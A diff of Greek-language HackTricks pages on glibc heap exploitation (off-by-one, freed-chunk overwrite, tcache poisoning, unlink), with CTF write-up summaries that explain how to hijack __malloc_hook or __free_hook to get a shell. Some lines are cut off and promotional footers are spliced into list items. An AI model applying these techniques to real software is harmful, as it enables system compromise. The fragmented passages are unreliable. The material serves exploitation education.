* Το αυθαίρετο γράψιμο προκύπτει από την κατάχρηση της εγγραφής off by one για να κάνει το δείκτη να δείχνει σε άλλο μέρος όπου θα κατασκευαστεί ένα ψεύτικο struct με ψεύτικους δείκτες. Στη συνέχεια, είναι δυνατό να ακολουθήσετε το δείκτη αυτού του struct για να λάβετε αυθαίρετο γράψιμο.
* Η διεύθυνση της libc διαρρέεται επειδή αν η στοίβα επεκτείνεται χρησιμοποιώντας το mmap, η μνήμη που διατίθεται από το mmap έχει μια σταθερή μετατόπιση από την libc.
* Τέλος, το αυθαίρετο γράψιμο καταχράται για να γράψει στη διεύθυνση του \_\_free\_hook με ένα one gadget.
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
* Υπάρχει μια ευπάθεια NULL off by one στη συνάρτηση `getline` που διαβάζει γραμμές εισόδου χρήστη. Αυτή η συνάρτηση χρησιμοποιείται για να διαβάσει το "κλειδί" του περιεχομένου και όχι το περιεχόμενο.
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Είναι δυνατόν να καταχραστείτε ένα off by one για να διαρρεύσετε μια διεύθυνση από τη στοίβα επειδή το byte 0x00 στο τέλος ενός string αντικαθίσταται από το επόμενο πεδίο.
* Το αυθαίρετο γραπτό λαμβάνεται καταχρώμενοντας το off by one γράφοντας το δείκτη prev_size σε `0x4e0`.
* Σημειώστε πώς τα μεγέθη των αρχικά δεσμευμένων κομματιών1, 2, 5 και 3 συν τις κεφαλίδες των 4 αυτών των κομματιών ισούνται με `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
* Στη συνέχεια, απελευθερώνεται το κομμάτι 4, δημιουργώντας ένα κομμάτι που καταναλώνει όλα τα κομμάτια μέχρι την αρχή:
* ```python
[ 0x4e0 Κομμάτι 1-2-5-3 (ελεύθερο) ] [ 0xf0 Κομμάτι 4 (διεφθαρμένο) ] [ 0x400 Κομμάτι άμυνας ]
```
* ```python
[ 0x200 Κομμάτι 1 (ελεύθερο) ] [ 0x50 Κομμάτι 2 ] [ 0x68 Κομμάτι 5 (ελεύθερο) ] [ 0x1f8 Κομμάτι 3 (ελεύθερο) ] [ 0xf0 Κομμάτι 4 ] [ 0x400 Κομμάτι άμυνας ]
```
* Στη συνέχεια, δεσμεύονται `0x200` bytes γεμίζοντας το αρχικό κομμάτι 1
* Και δεσμεύονται άλλα 0x200 bytes και καταστρέφεται το κομμάτι2 και επομένως δεν υπάρχει διαρροή και αυτό δεν λειτουργεί; Ίσως αυτό δεν θα έπρεπε να γίνει
* Στη συνέχεια, δεσμεύεται ένα κομμάτι με 0x58 "a"s (αντικαθιστώντας το κομμάτι2 και φτάνοντας το κομμάτι5) και τροποποιείται ο δείκτης `fd` του γρήγορου κομματιού του κομματιού5 δείχνοντας στο `__malloc_hook`
* Στη συνέχεια, δεσμεύεται ένα κομμάτι 0x68 έτσι το ψεύτικο γρήγορο κομμάτι στο `__malloc_hook` είναι το επόμενο γρήγορο κομμάτι
* Τέλος, δεσμεύεται ένα νέο γρήγορο κομμάτι 0x68 και το `__malloc_hook` αντικαθίσταται με μια διεύθυνση `one_gadget`
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομά
* **Κοινοποιήστε κόλπα χάκερ κάνοντας υποβολή PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Αντικατάσταση ενός ελευθερωμένου τμήματος
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
Πολλές από τις προτεινόμενες τεχνικές εκμετάλλευσης της στοίβας χρειάζεται να είναι δυνατή η αντικατάσταση δεικτών μέσα σε ελευθερωμένα τμήματα. Ο στόχος αυτής της σελίδας είναι να περιλαμβάνει τις πιθανές ευπάθειες που θα μπορούσαν να παρέχουν αυτήν την πρόσβαση:
### Απλή Χρήση Μετά το Free
Αν είναι δυνατό για τον επιτιθέμενο να **γράψει πληροφορίες σε ένα ελεύθερο τμήμα**, θα μπορούσε να εκμεταλλευτεί αυτό για να αντικαταστήσει τους απαιτούμενους δείκτες.
Αν είναι δυνατό για τον επιτιθέμενο να **γράψει πληροφορίες σε ένα ελεύθερο τμήμα**, μπορεί να εκμεταλλευτεί αυτό για να αντικαταστήσει τους απαιτούμενους δείκτες.
### Διπλό Free
@ -26,8 +27,23 @@
### Υπερχείλιση Στοίβας
Μπορεί να είναι δυνατό να **υπερχειλιστεί ένα εκχωρημένο τμήμα μετά από ένα ελεύθερο τμήμα** και να τροποποιηθούν κάποιοι κεφαλίδες/δείκτες του.
Μπορεί να είναι δυνατό να **υπερχειλίσει ένα εκχωρημένο τμήμα μετά από ένα ελεύθερο τμήμα** και να τροποποιήσει κάποιους κεφαλίδες/δείκτες του.
### Υπερχείλιση Ενός Byte
### Υπερχείλιση ενός byte
Σε αυτήν την περίπτωση θα ήταν δυνατό να **τροποποιηθεί το μέγεθος** του επόμενου τμήματος στη μνήμη. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να **κάνει ένα εκχωρημένο τμήμα να έχει μεγαλύτερο μέγεθος**, στη συνέχεια **να το `free`**, κάνοντας το τμήμα να **προστεθεί σε έναν κάδο διαφορετικού** μεγέθους (μεγαλύτερο), στη συνέχεια να εκχωρήσει το **ψεύτικο μέγεθος** και η επίθεση θα έχει πρόσβαση σε ένα **τμήμα με ένα μέγεθος που είναι μεγαλύτερο** από αυτό που είναι πραγματικά, **παρέχοντας έτσι μια κατάσταση επικάλυψης τμημάτων**, η οποία είναι εκμεταλλεύσιμη με τον ίδιο τρόπο με μια **υπερχείλιση στοίβας** (ελέγξτε την προηγούμενη ενότητα).
Σε αυτήν την περίπτωση θα ήταν δυνατό να **τροποποιήσει το μέγεθος** του επόμενου τμήματος στη μνήμη. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να **κάνει ένα εκχωρημένο τμήμα να έχει μεγαλύτερο μέγεθος**, στη συνέχεια **να το `free`**, κάνοντας το τμήμα να **προστεθεί σε έναν κάδο διαφορετικού** μεγέθους (μεγαλύτερο), στη συνέχεια να εκχωρήσει το **ψεύτικο μέγεθος**, και η επίθεση θα έχει πρόσβαση σε ένα **τμήμα με ένα μέγεθος που είναι μεγαλύτερο** από αυτό που είναι πραγματικά, **παρέχοντας έτσι μια κατάσταση επικάλυψης τμημάτων**, η οποία είναι εκμεταλλεύσιμη με τον ίδιο τρόπο με μια **υπερχείλιση στοίβας** (ελέγξτε την προηγούμενη ενότητα).
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Tcache Bin Attack
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ καταθέτοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα Tcache bin ελέγξτε αυτή τη σελίδα:
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα Tcache bin ελέγξτε αυτήν τη σελίδα:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
@ -24,25 +25,26 @@
Καταρχάς, σημειώστε ότι το Tcache εισήχθη στην έκδοση Glibc 2.26.
Η **επίθεση Tcache** (επίσης γνωστή ως **δηλητηρίαση Tcache**) που προτάθηκε στη σελίδα [**guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) είναι πολύ παρόμοια με την επίθεση fast bin όπου ο στόχος είναι να αντικατασταθεί ο δείκτης προς το επόμενο τμήμα στο bin μέσα σε ένα ελεύθερο τμήμα με μια τυχαία διεύθυνση, έτσι ώστε αργότερα είναι δυνατή η **εκχώρηση αυτής της συγκεκριμένης διεύθυνσης και ενδεχομένως η αντικατάσταση δεικτών**.
Η **επίθεση Tcache** (επίσης γνωστή ως **δηλητηρίαση Tcache**) που προτάθηκε στη σελίδα [**guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) είναι πολύ παρόμοια με την επίθεση fast bin όπου ο στόχος είναι να αντικατασταθεί ο δείκτης προς το επόμενο τμήμα στο bin μέσα σε ένα ελεύθερο τμήμα με μια τυχαία διεύθυνση, ώστε αργότερα να είναι δυνατή η **εκχώρηση αυτής της συγκεκριμένης διεύθυνσης και ενδεχομένως η αντικατάσταση δεικτών**.
Ωστόσο, σήμερα, αν εκτελέσετε το αναφερόμενο κώδικα θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό αρχείο ώστε η γραμμένη διεύθυνση να είναι πραγματικά ευθυγραμμισμένη).
Ωστόσο, σήμερα, αν εκτελέσετε τον αναφερόμενο κώδικα, θα λάβετε το σφάλμα: **`malloc(): unaligned tcache chunk detected`**. Έτσι, είναι απαραίτητο να γράψετε ως διεύθυνση στον νέο δείκτη μια ευθυγραμμισμένη διεύθυνση (ή να εκτελέσετε αρκετές φορές το δυαδικό αρχείο ώστε η γραμμένη διεύθυνση να είναι πραγματικά ευθυγραμμισμένη).
### Επιθέσεις δεικτών Tcache
Συνήθως είναι δυνατό να βρείτε στην αρχή της στοίβας ένα τμήμα που περιέχει τον **αριθμό των τμημάτων ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **κεφαλαίου τμήματος κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθούν αυτές οι πληροφορίες, θα ήταν δυνατό να **κάνετε το κεφάλαιο τμήμα κάποιου δείκτη να δείχνει σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να εκχωρηθεί ένα τμήμα με το μέγεθος του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτήν την περίπτωση.
Συνήθως είναι δυνατό να βρείτε στην αρχή της στοίβας ένα τμήμα που περιέχει τον **αριθμό τμημάτων ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **κεφαλαίου τμήματος κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθούν αυτές οι πληροφορίες, θα ήταν δυνατό να **κάνετε το κεφάλαιο τμήμα κάποιου δείκτη να δείχνει σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να εκχωρηθεί ένα τμήμα με το μέγεθος του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτήν την περίπτωση.
## Παραδείγματα
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
* **Διαρροή πληροφοριών Libc**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα τμήμα στη λίστα μη ταξινομημένων, να αδειάσετε το tcache και να **επανα-εκχωρήσετε το τμήμα από τη λίστα μη ταξινομημένων** αλλάζοντας μόνο τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση προς το Libc από το τμήμα ακέραια ώστε να μπορούμε να τη διαβάσουμε**.
* **Επίθεση Tcache**: Το δυαδικό είναι ευάλωτο σε ένα 1B υπερχείλιση στη στοίβα. Αυτό θα εκμεταλλευτεί για να αλλάξει το **κεφαλίδα μεγέθους** ενός εκχωρημένου τμήματος κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το τμήμα θα **ελευθερωθεί**, προσθέτοντάς το στο tcache τμημάτων με το ψευδές μέγεθος. Στη συνέχεια, θα εκχωρηθεί ένα τμήμα με το πλαστό μέγεθος, και το προηγούμενο τμήμα θα **επιστραφεί γνωρίζοντας ότι αυτό το τμήμα ήταν πραγματικά μικρότερο** και αυτό προσφέρει τη δυνατότητα να **αντικατασταθεί ο επόμενος δείκτης στη μνήμη**.\
Αυτό θα εκμεταλλευτεί για να **αντικαταστήσει τον δείκτη FD του επόμενου τμήματος** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε είναι δυνατό να εκχωρηθούν 2 δείκτες: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη εκχώρηση θα επιστρέψει ένα τμήμα στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γραφτεί ένα **one gadget**.
* **Διαρροή πληροφοριών Libc**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα τμήμα στη λίστα μη ταξινομημένων, να αδειάσετε το tcache και να **επανα-εκχωρήσετε το τμήμα από τη λίστα μη ταξινομημένων** αλλάζοντας μόνο τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση προς το Libc από το τμήμα ακέραια** έτσι ώστε να μπορούμε να τη διαβάσουμε.
* **Επίθεση Tcache**: Το δυαδικό αρχείο είναι ευάλωτο σε ένα 1B υπερχείλιση στη στοίβα. Αυτό θα εκμεταλλευτεί για να αλλάξει το **κεφαλίδα μεγέθους** ενός εκχωρημένου τμήματος κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το τμήμα θα **ελευθερωθεί**, προσθέτοντάς το στο tcache τμημάτων με το ψευδές μέγεθος. Στη συνέχεια, θα εκχωρηθεί ένα τμήμα με το πλαστό μέγεθος, και το προηγούμενο τμήμα θα **επιστραφεί γνωρίζοντας ότι αυτό το τμήμα ήταν πραγματικά μικρότερο** και αυτό προσφέρει τη δυνατότητα να **αντικατασταθεί ο επόμενος δείκτης στη μνήμη**.\
Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου τμήματος** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε είναι δυνατό να εκχωρηθούν 2 δείκτες: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη εκχώρηση θα επιστρέψει ένα τμήμα στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γραφτεί ένα **one gadget**.
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
* **Διαρροή πληροφοριών Libc**: Υπάρχει ένα use after free και ένα double free. Σε αυτή την ανάλυση ο συγγραφέας διέρρευσε μια διεύθυνση του Libc διαβάζοντας τη διεύθυνση ενός τμήματος που τοποθετήθηκε σε ένα μικρό bin (όπως διαρροή από το unsorted bin αλλά από το μικρό).
* **Διαρροή πληροφοριών Libc**: Υπάρχει ένα use after free και ένα double free. Σε αυτήν την ανάλυση ο συγγραφέας διέρρευσε μια διεύθυνση του Libc διαβάζοντας τη διεύθυνση ενός τμήματος που τοποθετήθηκε σε ένα μικρό bin (όπως να το διαρρεύσει από το unsorted bin αλλά από το μικρό).
* **Επίθεση Tcache**: Μια Tcache πραγματοποιείται μέσω ενός **διπλού free**. Το ίδιο τμήμα ελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το τμήμα θα δείχνει στον εαυτό του. Στη συνέχεια, εκχωρείται, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια εκχωρείται ξανά, έτσι το επόμενο τμήμα στη λίστα θα βρίσκεται στο free hook. Στη συνέχεια, αυτό επίσης εκχωρείται και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ, έτσι όταν ένα malloc που περιέχει `"/bin/sh"` ελευθερωθεί, λαμβάνουμε ένα κέλυφος.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
* Η κύρια ευπάθεια εδώ είναι η δυνατότητα να `ελευθερώσετε` οποιαδήποτε διεύθυνση στη στοίβα δηλώνοντας τη θέση της
* **Επίθεση δεικτών Tcache**: Είναι δυνατό να εκχωρηθεί και να ελευθερωθεί ένα τμήμα με μέγεθος που όταν αποθηκευτεί μέσα στο tcache τμήμα (το τμήμα με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει τον αριθμό των τμημάτων σε κάθε bin σε διαφορετικά bytes, επομένως ένα τμήμα σε ένα σ
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα Telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Η κύρια ευπάθεια εδώ είναι η δυνατότητα να `ελευθερώσετε` οποιαδήποτε διεύθυνση στη στοίβα δηλώνοντας την οφσετ.
* **Επίθεση δεικτών Tcache**: Είναι δυνατό να εκχωρηθεί και να ελευθερωθεί ένα τμήμα με μέγεθος που όταν αποθηκευτεί μέσα στο tcache τμήμα (το τμήμα με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει τον αριθμό των τμημάτων σε κάθε bin σε διαφορετικά bytes, επομένως ένα τμήμα σε ένα συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100.
* Στη συνέχεια, αυτή η τιμή μοιάζει ότι υπάρχει ένα τμήμα μεγέθους 0x100. Επιτρέποντας να εκμεταλ
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε χάκινγκ κόλπα υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.

View file

@ -1,22 +1,23 @@
# Επίθεση Unlink
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, κάποιοι **έλεγχοι προστέθηκαν** καθιστώντας τη νέα έκδοση της επίθεσης πιο ενδιαφέρουσα και πιο πολύπλοκη και **άχρηστη**.
Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, προστέθηκαν **ελέγχοι** κάνοντας τη νέα έκδοση της επίθεσης πιο ενδιαφέρουσα και πιο πολύπλοκη και **άχρηστη**.
### Παράδειγμα Κώδικα:
@ -93,10 +94,10 @@ return 0;
### Στόχος
Αυτή η επίθεση επιτρέπει να **αλλάξει ένα δείκτη ενός κομματιού ώστε να δείχνει 3 διευθύνσεις πριν από τον εαυτό του**. Εάν αυτή η νέα τοποθεσία (γύρω από το σημείο όπου βρισκόταν ο δείκτης) έχει ενδιαφέροντα πράγματα, όπως άλλες ελέγξιμες δεσμεύσεις / στοίβα..., είναι δυνατόν να διαβάσετε/αντικαταστήσετε αυτά για να προκαλέσετε μεγαλύτερη ζημιά.
Αυτή η επίθεση επιτρέπει να **αλλάξει ένα δείκτη ενός κομματιού ώστε να δείχνει 3 διευθύνσεις πριν από τον εαυτό του**. Εάν αυτή η νέα τοποθεσία (γύρω από το σημείο όπου βρισκόταν ο δείκτης) περιέχει ενδιαφέροντα πράγματα, όπως άλλες ελέγξιμες δεσμεύσεις / στοίβα..., είναι δυνατόν να διαβάσετε/αντικαταστήσετε αυτά για να προκαλέσετε μεγαλύτερη ζημιά.
